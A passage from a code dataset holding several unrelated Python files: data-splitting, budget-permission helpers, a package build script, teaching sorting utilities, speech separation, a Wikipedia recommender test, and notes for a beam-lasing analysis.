test_list=[e for e in name_list if e not in random_name_list]\n for oldname in test_list:\n shutil.copyfile(oldname,oldname.replace(srcPath, testPath))\n\nsrcPath='./new_neg' \ntrainPath = './neg_train'\ntestPath = './neg_test'\nrandom_copyfile(srcPath,trainPath,testPath,5100)\n\n","sub_path":"imageData/selectImage.py","file_name":"selectImage.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"446835871","text":"\"\"\"\nThis script will test that create_unique_ide behaves as expected\n\"\"\"\n\nfrom __future__ import with_statement\nimport unittest\nfrom create_database import create_unique_id\n\nclass TestUniqueID(unittest.TestCase):\n\n def test_bad_name(self):\n \"\"\"\n Test that if you pass in an invalid SED name, create_unique_id fails\n \"\"\"\n with self.assertRaises(RuntimeError) as ww:\n create_unique_id('hello', 0.9)\n\n self.assertIn('cannot return a unique id', ww.exception.args[0])\n\n\n def test_bad_redshift(self):\n \"\"\"\n Test that if you pass in a redshift that is not an integer multiple\n of 0.1, create_unique_id fails\n \"\"\"\n with self.assertRaises(RuntimeError) as ww:\n create_unique_id('Inst.79E06.002Z.spec', 1.11)\n\n self.assertIn('cannot return a unique id', ww.exception.args[0])\n\n\n def test_proper_input(self):\n \"\"\"\n Test that create_unique_id runs when the input is sensible\n \"\"\"\n ii = create_unique_id('Inst.79E06.002Z.spec', 1.1)\n self.assertIsInstance(ii, int)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"scripts/test_unique_id.py","file_name":"test_unique_id.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"223028141","text":"import sys\nfrom app.models import *\nimport calendar\nfrom flask_restful import abort\nfrom flask_login import current_user\n\n\nfield_list = ['Field_1', 'Field_2', 'Field_3', 'Field_4', 'Field_5', 'Field_6', 'Field_7']\nfield_list_lower = ['field_1', 'field_2', 'field_3', 'field_4', 'field_5', 'field_6', 'field_7']\n\nmonth_list = []\nmonth_list_short = []\nfor i in range(1, 13):\n month_list_short.append(calendar.month_name[i].lower())\n month_list.append((i, calendar.month_name[i].lower()))\n\n\ndef str_to_class(name):\n return getattr(sys.modules[__name__], name)\n\n\n# Check if input is integer\ndef check_int(value):\n try:\n # conv = value.replace(',', '.')\n new_value = float(value)\n return new_value\n except ValueError:\n return False\n\n\ndef check_float(value):\n try:\n new_value = float(value)\n return new_value\n except ValueError:\n return False\n\n\n# Convert class from sqlalchemy to dict\ndef class_to_dict(data, field_list):\n new_data = []\n for el in data:\n if el in field_list:\n new_data.append(el.__dict__)\n return new_data\n\n\ndef get_field_list(budget_id):\n data = Budgets.query.filter_by(id=budget_id).first()\n field_list = []\n for field in field_list_lower:\n if getattr(data, field) is True:\n field_list.append(field)\n return field_list\n\n\n# Check user memberships and assigned roles. Return role\ndef check_user_role():\n role = current_user.role_name\n if role:\n role_name = role.name\n else:\n role_name = 'user'\n return role_name\n\n\n# Check if user has roles and return list of such users\ndef users_with_roles(users_list):\n admin_group = Roles.query.filter_by(name='admin').first().group_name\n user_group = Roles.query.filter_by(name='user').first().group_name\n editor_group = Roles.query.filter_by(name='editor').first().group_name\n new_users_list = []\n for user in users_list:\n groups = user.memberships.split(',')\n if user.role_id:\n role = Roles.query.filter_by(id=user.role_id).first().name\n new_users_list.append(user)\n elif user_group in groups:\n user.role_id = 1\n new_users_list.append(user)\n elif editor_group in groups:\n user.role_id = 2\n new_users_list.append(user)\n elif admin_group in groups:\n user.role_id = 3\n new_users_list.append(user)\n return new_users_list\n\n\n# Check user rights for specific budget\ndef check_user_rights(username, budget_id):\n rights = AssignedBudgets.query.filter_by(username=username, budget_id=budget_id).first().user_rights\n if rights:\n return rights\n else:\n return 0\n\n\ndef required_roles_for_budget(role, budget_id):\n \"\"\" Check if user have required role for budget\n Args:\n role: required user role ('edit', 'read')\n budget_id: id of requested budget\n Returns:\n In case of success return nothing, otherwise return HTTP error 403.\n \"\"\"\n\n x = AssignedBudgets.query.filter_by(budget_id=budget_id, username=current_user.username).first()\n if check_user_role() != 'admin':\n if not x:\n abort(403, message=\"You don't have the permission to access the requested resource\")\n elif role is 'write' and x.user_rights != 2:\n abort(403, message=\"You don't have the permission to edit the requested resource\")\n\n\n# Logging\ndef log_to_db(input_data, action):\n \"\"\" Write action to history table into db\n\n Args:\n input_data: line in class format that are added to db\n action: type of action with input_data. Example: 'add', 'modify' , 'delete'\n\n Returns:\n Function return history line\n \"\"\"\n\n # Get classes and their names\n input_class = input_data.__class__\n input_class_name = input_data.__class__.__name__\n\n history_class = str_to_class(input_data.history_class)\n history_entry = history_class(action=action)\n fff = input_data.__dict__\n ggg = input_data.__table__.columns\n for column in input_data.__table__.columns:\n if column.name == \"id\":\n if input_class_name == 'BudgetData':\n setattr(history_entry, 'budget_data_id', getattr(input_data, column.name))\n elif input_class_name == 'Budgets':\n setattr(history_entry, 'budget_id', getattr(input_data, column.name))\n elif input_class_name == 'AssignedBudgets':\n setattr(history_entry, 'assigned_budget_id', getattr(input_data, column.name))\n else:\n if hasattr(history_entry, column.name):\n setattr(history_entry, column.name, getattr(input_data, column.name))\n\n db.session.add(history_entry)\n db.session.commit()\n return history_entry\n\n\ndef my_tree():\n class MyTree(object):\n def __init__(self, name='root', children=None):\n self.Field_name = name\n self.September = '0'\n self.children = []\n if children is not None:\n for child in children:\n self.add_child(child)\n\n def __repr__(self):\n return self.Field_name\n\n def add_child(self, node):\n assert isinstance(node, MyTree)\n self.children.append(node)\n\n\ndef check_account_restriction(option_id, budget_id):\n \"\"\" Check if user have restriction to specific account\n Args:\n option_id: Id of account (field_4_id in BudgetData)\n budget_id: id of requested budget\n Returns:\n If restriction exist - return level.\n 1 - lock, 2- hide.\n \"\"\"\n restrict = Restrictions.query.filter_by(budget_id=budget_id,\n option_id=option_id,\n field_level=4,\n username=current_user.username).first()\n if restrict:\n return restrict.value\n\n\n# Check user rights\ndef get_user_rights_on_budget(budget_id):\n user_rights = AssignedBudgets.query.filter_by(budget_id=budget_id, username=current_user.username).first()\n if user_rights:\n user_right = user_rights.user_rights\n else:\n user_right = 0\n return user_right\n\n\n# Check budget is editable(budget_id):\ndef check_is_budget_editable(budget_id):\n budget = Budgets.query.filter_by(id=budget_id).first()\n if budget:\n if budget.status_id == 1 and get_user_rights_on_budget(budget_id) == 2:\n return True\n else:\n return False\n else:\n abort(400, message=\"Unknown budget ID\")\n","sub_path":"app/my_functions.py","file_name":"my_functions.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"587975680","text":"'''\n\ntarget path = C:/workspace/lib/package_library\nsetup.py path = C:/workspace/lib/\nrun by command line = python setup.py bdsit_egg\n'''\nimport zipfile\nimport shutil\nimport datetime\nimport os\nimport sys\nfrom setuptools import setup\n\ntoday = datetime.datetime.now().strftime(\"%Y%m%d\")\nEGG_PATH = f\"./burf_{today}.egg\"\nPACKAGE_NAME = \"burf\"\n\npy_modules = []\nfor path, dir, files in os.walk(PACKAGE_NAME):\n for file in files:\n target = file.split(\".\")\n if 1 < len(target) and target[1] == \"py\":\n py_modules.append(os.path.join(path, target[0]).replace(\"\\\\\", \".\"))\n\nNAME = 'burf'\nVERSION = '1.0'\nsetup (name = NAME,\n version = VERSION,\n author = \"Hyungjin Kim\",\n author_email = \"flslzk@gmail.com\",\n url = \"https://github.com/Burf\",\n description = \"This is burf's library\",\n license = \"MIT\",\n py_modules = py_modules)\n\nZIP_NAME = \"-\".join([NAME, VERSION, (\"py\" + sys.version[:3])]) + \".egg\"\nmain_path = os.getcwd()\ntarget_path = os.path.join(main_path + \"/dist\", ZIP_NAME)\neraser_path = [os.path.join(main_path,\"build\"), os.path.join(main_path, NAME + \".egg-info\"), os.path.join(main_path,\"dist\")]\n\ntry:\n zin = zipfile.ZipFile (target_path, 'r')\n zout = zipfile.ZipFile(EGG_PATH, 'w', zipfile.ZIP_DEFLATED)\n items = zin.infolist()\n t_items = [item for item in items if \"__pycache__\" in item.filename]\n items = [item for item in items if item not in t_items]\n t_item_names = []\n for item in t_items:\n t_name = item.filename.replace(\"__pycache__/\",\"\").split(\"/\")\n t_name = \"/\".join(t_name[:-1] + [\".\".join(t_name[-1].split(\".\")[:-2] + [\"py\"])])\n t_item_names.append(t_name)\n items = [item for item in items if item.filename not in t_item_names]\n for item in items:\n buffer = zin.read(item.filename)\n zout.writestr(item.filename, buffer)\n for i in range(len(t_items)):\n buffer = zin.read(t_items[i].filename)\n zout.writestr(t_item_names[i] + \"c\", buffer)\n zin.close()\n zout.close()\nexcept Exception as e:\n print(e)\n \nfor dir_name in eraser_path:\n shutil.rmtree(dir_name)\nprint (\"done.\")\n","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"645724958","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Codice utile per le esercitazioni di Informatica@SEFA 2017/2018\n\nIl modulo contiene alcune funzioni utili per le esercitazioni.\nVerrà regolarmente esteso quindi controllate che non vi siano\naggiornamenti disponibili prima di usarlo.\n\nCopyright (C) 2017 Massimo Lauria \n\"\"\"\n\n \nimport random\n\ndef numeriacaso(N,minimo,massimo,ordinati=False):\n \"\"\"Produce una lista di numeri generati a caso.\n\n Produce una lista di N elementi, ognuno dei quali preso a caso\n (con uguale probabilità) tra tutti i numeri interi compresi tra\n 'minimo' e 'massimo', estremi inclusi.\n\n Se N<0 o minimo>massimo la funzione solleva un ValueError.\n\n Se 'ordinati' è vero la lista restituita è ordinata.\n \"\"\"\n if N<0:\n ValueError(\"Quantità negativa di numeri da generare.\")\n if minimo>massimo:\n ValueError(\"L'intervallo dei valori non ha senso: minimo>massimo.\")\n seq = [random.randint(minimo,massimo) for _ in range(N)]\n if ordinati:\n seq.sort()\n return seq\n\ndef bubblesort(seq):\n \"\"\"Ordina la sequenza utilizzando bubblesort\n \"\"\"\n end=len(seq)-1\n while end>0:\n last_swap = -1\n for i in range(0,end):\n if seq[i] > seq[i+1]:\n last_swap = i\n seq[i], seq[i+1] = seq[i+1],seq[i]\n end=last_swap\n\n\ndef argmin(seq,start,end):\n minimo = seq[start]\n indice = start\n for i in range(start+1,end+1):\n if seq[i] < minimo:\n minimo = seq[i]\n indice = i\n return minimo,indice\n\ndef insertionsort(seq):\n \"\"\"Ordina la sequenza utilizzando insertionsort\n \"\"\" \n for i in range(0,len(seq)-1):\n \n val,pos = argmin(seq,i,len(seq)-1)\n \n for j in range(pos-1,i-1,-1):\n seq[j+1] = seq[j] \n\n seq[i] = val\n\ndef merge(S,low,mid,high):\n a=low\n b=mid+1\n temp=[]\n # Inserisci in testa il più piccolo\n while a<=mid and b<=high:\n if S[a]<=S[b]:\n temp.append(S[a])\n a=a+1\n else:\n temp.append(S[b])\n b=b+1\n # Esattamente UNA sequenza è esaurita. Va aggiunta l'altra\n residuo = range(a,mid+1) if a<=mid else range(b,high+1)\n for i in residuo:\n temp.append(S[i])\n # Va tutto copiato su S[start:end+1]\n for i,value in enumerate(temp,start=low):\n S[i] = value\n\n\ndef mergesort(S,start=0,end=None):\n \"\"\"Ordina la sequenza S[start:end+1] usando mergesort\"\"\"\n if end is None:\n end=len(S)-1\n if start>=end:\n return\n mid=(end+start)//2\n mergesort(S,start,mid)\n mergesort(S,mid+1,end)\n merge(S,start,mid,end)\n\ndef countingsort(seq,key=None):\n if len(seq)==0:\n return\n if key is None:\n key = lambda x:x\n # n operazioni\n a = min(key(x) for x in seq)\n b = max(key(x) for x in seq)\n # creazione dei contatori\n counter=[0]*(b-a+1)\n for x in seq:\n counter[key(x)-a] += 1\n # posizioni finali di memorizzazione\n posizioni=[0]*(b-a+1)\n for i in range(1,len(counter)):\n posizioni[i]=posizioni[i-1]+counter[i-1]\n # costruzione dell'output\n for x in seq[:]:\n seq[posizioni[key(x)-a]]=x\n posizioni[key(x)-a] += 1\n\ndef key0(x):\n return x & 255\n\ndef key1(x):\n return (x>>8) & 255\n\ndef key2(x):\n return (x>>16) & 255\n\ndef key3(x):\n return (x//(256*256*256)) & 255\n\ndef key10(x):\n return x & 65535\n\ndef key32(x):\n return (x>>16) & 65535\n\ndef radixsort4x8bit(seq):\n \"\"\"Ordina una sequenza di numeri positivi di al massimo 32 bit\n \"\"\"\n for my_key in [key0,key1,key2,key3]:\n countingsort(seq,key=my_key)\n\ndef radixsort2x16bit(seq):\n \"\"\"Ordina una sequenza di numeri positivi di al massimo 32 bit\n \"\"\"\n for my_key in [key10,key32]:\n countingsort(seq,key=my_key)\n\n\ndef ricerca_linee(nome_file,encoding,stringa):\n \"\"\"Restituisce gli indici delle righe che contengono la stringa\n\n Cerca all'interno di nome_file, le righe che contengono 'stringa'\n e le restituisce.\n \"\"\"\n with open(nome_file,encoding=encoding) as f:\n return [i for i,text in enumerate(f,start=1) if text.find(stringa)!=-1]\n \ndef ricerca(nome_file,encoding,stringa):\n \"\"\"Mostra le linee del file che contengono la parola cercata\n \"\"\"\n with open(nome_file,encoding=encoding) as f:\n for i,text in enumerate(f,start=1):\n if text.find(stringa)!=-1:\n print(\"{: 4}: {}\".format(i,text))\n \n\ndef gettxtfilenames():\n \"\"\"Restituisce la lista dei nomi dei file *.txt nella cartella corrente\n \"\"\"\n from os import listdir\n return [name for name in listdir() if name[-4:]=='.txt']\n\n\ndef conta_vocali(s):\n '''Conta le vocali non accentate in s'''\n s = s.lower()\n count = 0\n for v in 'aeiou':\n count += s.count(v)\n return count\n\ndef file_to_dict(name,enc):\n \"\"\"Carica un dizionario da un file.\n\n Il file deve avere CHAIVE : INFO per ogni riga non vuota \n \"\"\"\n with open(name,encoding=enc,mode='r') as data:\n diz = {}\n for line in data.readlines():\n\n if len(line.strip())==0:\n continue\n \n l = line.split(\":\")\n if len(l) != 2:\n raise ValueError(\"Dati mal formattata da una riga non vuota\")\n\n k,v = l[0].strip(),l[1].strip()\n diz[k] = v\n\n return diz\n\n\ndef words_in_str(s):\n \"\"\"Restituisce la lista delle parole nella stringa\n\n Le parole sono tutte standardizzate al minuscolo\n \"\"\"\n # trova i caratter non alfabetici\n noalpha=''\n for c in s:\n if not c.isalpha() and c not in noalpha:\n noalpha += c\n # sostituisce i caratteri non alfabetici con spazi\n for c in noalpha:\n s = s.replace(c,' ')\n return s.lower().split()\n\ndef words_in_file(fname,enc='utf-8'):\n \"\"\"Restituisce la lista delle parole nella stringa\n\n Le parole sono tutte standardizzate al minuscolo\n \"\"\"\n with open(fname,encoding=enc,mode='r') as data:\n return words_in_str(data.read())\n\ndef word_frequence(fname,ricerca,enc='utf-8'):\n \"\"\"Restituisce un dizionario che a ogni parola nella lsita 'ricerca'\n associa la sua frequenza percentuale nel file 'fname', codificato\n in 'enc'\n \"\"\"\n # lista delle parole nel file\n parole = words_in_file(fname,enc)\n\n frequenze = {}\n for word in ricerca:\n\n # la parola in 'word' occorre ... volte\n occorrenze = parole.count(word.lower())\n\n # percentuale, arrotondata\n freq = occorrenze*100 / len(parole)\n freq = round(freq,3)\n\n # memorizza nel dizionario\n frequenze[word] = freq\n\n return frequenze\n\n\ndef searchdocuments(fnames,ricerca,enc='utf-8'):\n \"\"\"Ordina i file in base al punteggio della ricerca\n \n Calcola la rilevanza di ogni file indicate, rispetto\n alla 'query' fatta\n \n \"\"\"\n scores = []\n for fname in fnames:\n freqs = word_frequence(fname,ricerca,enc)\n score = round(sum(freqs.values()),3)\n scores.append((score,fname))\n scores.sort(reverse=True)\n for score,fname in scores:\n print(fname,score)\n \n\n\n# Funzioni per il test\ndef testRisultato(nome,r_atteso,func,*args):\n \"\"\"Verifica che func(*args) restituisca r_atteso\n\n Calcola func(*args) e verifica che il valore restituito sia uguale\n a r_accesso. Ad esempio func è la funzione sum, e args=[1,2,4,6],\n il test calcola sum(1,2,3,4).\n\n INPUT:\n - nome: nome del test\n - r_atteso: valore atteso dal test\n - func: funzione da testare\n - args: sequenza di argomenti da testare\n \n PRINT:\n Stampa GOOD o FAIL a seconda dell'esito del test\n\n OUTPUT:\n True o False a seconda dell'esito del test\n \"\"\"\n try:\n res=func(*args)\n except BaseException as err:\n print(\"FAIL {}. Ottenuto errore {}\".format(nome,err))\n return False\n\n if res==r_atteso:\n print(\"GOOD {}. Ottenuto {}\".format(nome,res))\n return True\n else:\n print(\"FAIL {}. Ottenuto {} invece di {}\".format(nome,res,r_atteso))\n return False\n\ndef testErrore(nome,e_atteso,func,*args):\n \"\"\"Verifica che func(*args) sollevi l'errore e_atteso\n\n Calcola func(*args) e verifica la funzione sollevi un errore, ed\n in particolare l'errore e_atteso.\n\n INPUT:\n - nome: nome del test\n - e_atteso: valore atteso dal test\n - func: funzione da testare\n - args: sequenza di argomenti da testare\n \n PRINT:\n Stampa GOOD o FAIL a seconda dell'esito del test\n\n OUTPUT:\n True o False a seconda dell'esito del test\n \"\"\"\n if not issubclass(e_atteso,BaseException):\n raise TypeError('Il tipo di errore da testare non è valido.')\n \n try:\n res=func(*args)\n except e_atteso:\n print(\"GOOD {}. Errore atteso {}\".format(nome,e_atteso))\n return True\n except BaseException as err:\n print(\"FAIL {}. Errore {} invece di {}\".format(nome,err,e_atteso))\n return False\n else:\n print(\"FAIL {}. Manca l'errore atteso {}\".format(nome,e_atteso))\n return False\n \n\n","sub_path":"src/code/infosefa.py","file_name":"infosefa.py","file_ext":"py","file_size_in_byte":9164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"600572668","text":"# -*- coding = utf-8 -*-\r\n# @Author:何欣泽\r\n# @Time:2020/10/18 19:14\r\n# @File:speech_enhancement.py\r\n# @Software:PyCharm\r\n\r\nimport librosa\r\nimport librosa.display\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom tensorflow.keras.models import load_model\r\nfrom draw_pic import *\r\n\r\n\r\ndef get_audio_sparation_DNN(path):\r\n\r\n model = load_model('./model/DNNfunction23_model.h5')\r\n data, fs = librosa.load(path, sr=8000)\r\n win_length = 256\r\n hop_length = 64\r\n nfft = 512\r\n\r\n spectrum = librosa.stft(data, win_length=win_length, hop_length=hop_length, n_fft=nfft)\r\n magnitude = np.abs(spectrum).T\r\n phase = np.angle(spectrum).T\r\n\r\n\r\n\r\n mask = model.predict(magnitude)\r\n\r\n en_magnitude = np.multiply(magnitude, mask)\r\n\r\n en_spectrum = en_magnitude.T * np.exp(1.0j * phase.T)\r\n\r\n frame = librosa.istft(en_spectrum, win_length=win_length, hop_length=hop_length)\r\n\r\n frame = np.multiply(1.5,frame)\r\n\r\n for i in frame:\r\n if i > 0.6:\r\n frame[i] = 0.5\r\n\r\n out_file_path = './output/seprartion/seprartion.wav'\r\n\r\n librosa.output.write_wav(out_file_path, frame, sr=8000)\r\n\r\n return out_file_path,spectrum,en_spectrum,data,frame\r\n\r\n\r\n# if __name__ == '__main__':\r\n# path = r'C:\\Users\\MACHENIKE\\Desktop\\数字信号处理B\\项目\\mixed_series\\mixed_series20.wav'\r\n# for time in range(5):\r\n# path = get_audio_sparation(path)\r\n","sub_path":"speech_separation_DNN.py","file_name":"speech_separation_DNN.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"99333674","text":"#!/usr/env/python\n# -*- coding: utf-8 -*-\n'''\nScript to test the collaborator recommender.\n\nCopyright (C) 2015 SuggestBot Dev Group\n\nThis library is free software; you can redistribute it and/or\nmodify it under the terms of the GNU Library General Public\nLicense as published by the Free Software Foundation; either\nversion 2 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLibrary General Public License for more details.\n\nYou should have received a copy of the GNU Library General Public\nLicense along with this library; if not, write to the\nFree Software Foundation, Inc., 51 Franklin St, Fifth Floor,\nBoston, MA 02110-1301, USA.\n'''\n\nimport re\nimport random\nimport logging\n\nfrom datetime import datetime, timedelta\n\nimport db\nimport MySQLdb\n\nfrom similarity import ItemRecommender\nimport pywikibot\n\ndef main():\n # Parse CLI options\n import argparse\n \n cli_parser = argparse.ArgumentParser(\n description=\"Code for testing the collaborator recommender\"\n )\n \n # Add verbosity option\n cli_parser.add_argument('-v', '--verbose', action='store_true',\n help='I can has kittehtalkzalot?')\n \n cli_parser.add_argument('member_file', type=str,\n help='path to member file')\n \n # cli_parser.add_argument('k', type=int,\n # help='size of random sample to draw')\n\n cli_parser.add_argument('output_file', type=str,\n help='path to output file (for appending, must exist!)')\n \n cli_parser.add_argument('nrecs', type=int,\n help='number of recommendations per user')\n\n cli_parser.add_argument('cutoff', type=int,\n help='the number of 30-day months to use when fetching revisions')\n\n cli_parser.add_argument('namespaces', type=str,\n help='comma-separated list of namespaces to base the similarity on')\n \n args = cli_parser.parse_args()\n \n if args.verbose:\n logging.basicConfig(level=logging.DEBUG)\n\n # Regular expression to match a member username in our membership file\n member_re = re.compile('User talk[:](?P[^\\}]+)')\n\n all_members = set()\n \n with open(args.member_file, 'r', encoding='utf-8') as infile:\n for line in infile:\n match_obj = member_re.search(line.strip())\n if match_obj is None:\n print(\"None object\")\n else:\n all_members.add(match_obj.group('username'))\n\n # members = random.sample(all_members, args.k)\n \n recommender = ItemRecommender()\n \n site = pywikibot.Site('en') \n \n print(\"Beginning collaborator recommendation test\")\n\n '''members = ['Slatersteven', 'WerWil', 'Fnlayson', 'Drrcs15', 'Turbothy',\n '21stCenturyGreenstuff', 'RGFI', 'Loesorion', 'Grahamdubya', 'Sioraf',\n 'Skittles the hog', 'Smoth 007', 'Superfly94', 'Ewulp', 'Dank', 'Magus732',\n 'Redmarkviolinist', 'The27thMaine', 'Kcdlp', 'Foxsch', 'Tdrss', 'URTh',\n 'Waase', 'L clausewitz', 'Judgedtwice', 'Choy4311', 'Codrinb', 'Smmurphy',\n 'Kliu1', 'Gowallabies', 'Secutor7', 'Moneywagon', 'Nostalgia of Iran',\n 'Linmhall', 'Karanacs', 'Dana boomer', 'Robotam', 'Fdsdh1', 'DanieB52',\n 'Rosiestep', 'Scholarus', 'Laurinavicius', 'Dapi89', 'UrbanTerrorist',\n 'AGK', 'Samuel Peoples', 'Sapphire', 'Catlemur', 'Martocticvs', 'Gparkes',\n 'Pratyya Ghosh', 'Eurocopter', 'Pahari Sahib', 'Seitzd', 'The Bushranger',\n 'Natobxl', 'MasterOfHisOwnDomain', 'Takashi kurita', 'TeunSpaans',\n 'Kierzek', 'WDGraham', 'Miborovsky', 'The lost library',\n 'Antidiskriminator', 'The ed17', 'Cliftonian', 'AshLin',\n 'GeneralizationsAreBad', 'MechaChrist', 'Joep01', 'Chris.w.braun',\n 'TBrandley', 'Marky48', 'Cplakidas', 'John', 'Nyth83', 'Elonka',\n 'Alexandru.demian', 'Martinp23', 'GermanJoe', 'P.Marlow', 'ryan.opel',\n 'Asarelah', 'Ian Rose', 'Pectory', 'KizzyB', 'MrDolomite', 'Leifern',\n 'Timeweaver', 'Ashashyou', 'Sumsum2010', 'Looper5920', 'Geira', 'Ackpriss',\n 'Binksternet', 'Lothar von Richthofen', 'Molestash', 'Srnec',\n 'Sasuke Sarutobi', '.marc.']'''\n \n # members = ['Kieran4', 'Brendandh', 'Gog the Mild', 'Seitzd', 'Robotam',\n # 'Keith-264', 'Nyth83', 'Mmuroya', 'Navy2004', 'Secutor7',\n # 'Ranger Steve', 'MisterBee1966']\n\n members = ['XavierItzm']\n\n # Store namespaces as a list of str\n namespaces_list = args.namespaces.split(',')\n \n get_contribs_query = '''SELECT rev_id, page_id, page_title\n FROM page JOIN revision_userindex\n ON page_id=rev_page\n WHERE page_namespace IN ({namespaces})\n AND rev_minor_edit=0\n AND rev_deleted=0\n AND rev_user_text=%(username)s\n ORDER BY rev_id DESC\n LIMIT %(k)s\n '''.format(namespaces=\",\".join(namespaces_list))\n\n ## Set number of recommendations to 50 for now,\n ## which allows us to calculate overlap for 10,20,30,40, and 50 recs\n nrecs = 50\n\n ## Measuring total number of recommendations and overlap per size of\n ## recommendations requested.\n total_recs = {10: 0, 20: 0, 30: 0, 40: 0, 50: 0}\n total_overlap = {10: 0, 20: 0, 30: 0, 40: 0, 50: 0}\n \n for member in members:\n \n contribs = set()\n\n try:\n ## Note: connecting and disconnecting to prevent the DB\n ## from disconnecting us due to inactivity\n (dbconn, dbcursor) = db.connect(dbhost='c3.labsdb')\n ## Asking for 500 contributions per namespace, just in case.\n dbcursor.execute(get_contribs_query,\n {'username': member,\n 'k': 500*len(namespaces_list)})\n for row in dbcursor.fetchall():\n try:\n contribs.add(row['page_title'].decode('utf-8').replace('_', ' '))\n if len(contribs) == 128:\n break\n except AttributeError:\n continue\n db.disconnect(dbconn, dbcursor)\n except MySQLdb.Error as e:\n logging.error(\"unable to execute query to get users by article\")\n logging.error(\"Error {0}: {1}\".format(e.args[0], e.args[1]))\n\n # Calculate the cutoff date\n cutoff = datetime.now() - timedelta(days=args.cutoff*30)\n matches = recommender.recommend(contribs, member, 'en', cutoff,\n namespaces=namespaces_list,\n nrecs=nrecs)\n for k in range(10, 60, 10):\n match_set = set([rec['item'] for rec in matches[:k]])\n overlap = match_set & all_members\n \n total_recs[k] += len(match_set)\n total_overlap[k] += len(overlap)\n\n print('Requested {k}, got {n} recommendations for User:{user}'.format(\n k=k, n=len(match_set), user=member))\n print('Overlap with all members: {0}'.format(len(overlap)))\n \n #for i in range(0, len(match_set)):\n # print(match_set.pop())\n\n # Print stats to stdout, and append stats to output file\n for k in range(10, 60, 10):\n if total_recs[k] > 0:\n percent_overlap = 100*float(total_overlap[k])/float(total_recs[k])\n else:\n percent_overlap = 0\n print('''Total statistics:\n Number of requested recs per user: {k}\n Number of recommendations: {n}\n Overlap with all members: {o}\n % overlap: {p:.2}'''.format(k=k, n=total_recs[k], o=total_overlap[k],\n p=float(percent_overlap)))\n\n with open(args.output_file, 'a') as outfile:\n outfile.write('{n}\\t{t}\\t{nrecs}\\t{ns}\\t{int_n}\\t{int_p:.2}\\n'.format(\n n=k, t=args.cutoff, nrecs=total_recs[k], int_n=total_overlap[k],\n ns=\",\".join(namespaces_list),\n int_p=float(percent_overlap)))\n\n print('Recommendation test complete')\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"tool-labs/collab-rec/similarity-test.py","file_name":"similarity-test.py","file_ext":"py","file_size_in_byte":8409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"386849678","text":"import socket\nimport os\nimport itertools\nimport lasing\nimport config\nimport h5_storage\nimport elegant_matrix\n\nimport myplotstyle as ms\n\nelegant_matrix.set_tmp_dir('~/tmp_elegant')\n\nhostname = socket.gethostname()\nif hostname == 'desktop':\n dir_ = '/storage/data_2021-10-24/'\nelif hostname == 'pc11292.psi.ch':\n dir_ = '/sf/data/measurements/2021/10/24/'\nelif hostname == 'pubuntu':\n dir_ = '/mnt/data/data_2021-10-24/'\n\n\ndirectory = dir_\n\n\n\"\"\"\nhttps://elog-gfa.psi.ch/SwissFEL+commissioning/21994\nDijkstal, Bettoni, Vicario, Craievich, Arrell\n\n Obstacle monitor set at 578 m\n Streaker gap calibration\n /sf/data/measurements/2021/10/24/2021_10_24-14_11_59_Lasing_True_SARBD02-DSCR050.h5\n positive side: max 5.00\n negative side: max 4.25\n 100 um in steps of 20 um\n 863 um x_0, beamsize 31 um\n Delta gap -74 um\n FEL and current profile reconstruction: Anhang 1 (full beam lasing)\n 14:14 - spoiling laser ON\n positive side (+5.00 streaker center)\n /sf/data/measurements/2021/10/24/2021_10_24-14_12_34_Lasing_False_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-14_11_59_Lasing_True_SARBD02-DSCR050.h5\n Anhang 2: Nice 2 colors\n negative side (-4.25 streaker center)\n /sf/data/measurements/2021/10/24/2021_10_24-14_16_14_Lasing_True_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-14_15_29_Lasing_False_SARBD02-DSCR050.h5\n Anhang 3: somewhat different results\n 14:18 spoiling laser OFF\n negative side (-4.25 streaker center)\n /sf/data/measurements/2021/10/24/2021_10_24-14_18_52_Lasing_True_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-14_19_29_Lasing_False_SARBD02-DSCR050.h5\n Anhang 4 - FWHM 130 fs separation\n positive side (+5.00 streaker center)\n /sf/data/measurements/2021/10/24/2021_10_24-14_22_25_Lasing_False_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-14_23_09_Lasing_True_SARBD02-DSCR050.h5\n Anhang 5 - FWHM - somewhat larger\n repeat of calibration (lasing off this time)\n /sf/data/measurements/2021/10/24/2021_10_24-19_34_36_Calibration_SARUN18-UDCP020.h5\n -4.25 to -4.17 and +4.94 to + 5.02\n screen_x0 876 um, beamsize 29 um\n structure_center at 371 um\n gap delta -61 um\n 19:43 spoiling laser ON\n negative side -4.25 mm\n /sf/data/measurements/2021/10/24/2021_10_24-19_41_28_Lasing_True_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-19_40_14_Lasing_False_SARBD02-DSCR050.h5\n Anhang 6\n positive side +5.00 mm\n /sf/data/measurements/2021/10/24/2021_10_24-19_48_55_Lasing_True_SARBD02-DSCR050.h5\n /sf/data/measurements/2021/10/24/2021_10_24-19_47_51_Lasing_False_SARBD02-DSCR050.h5\n Anhang 8\n 19:46 spoiling laser OFF\n negative side -4.25 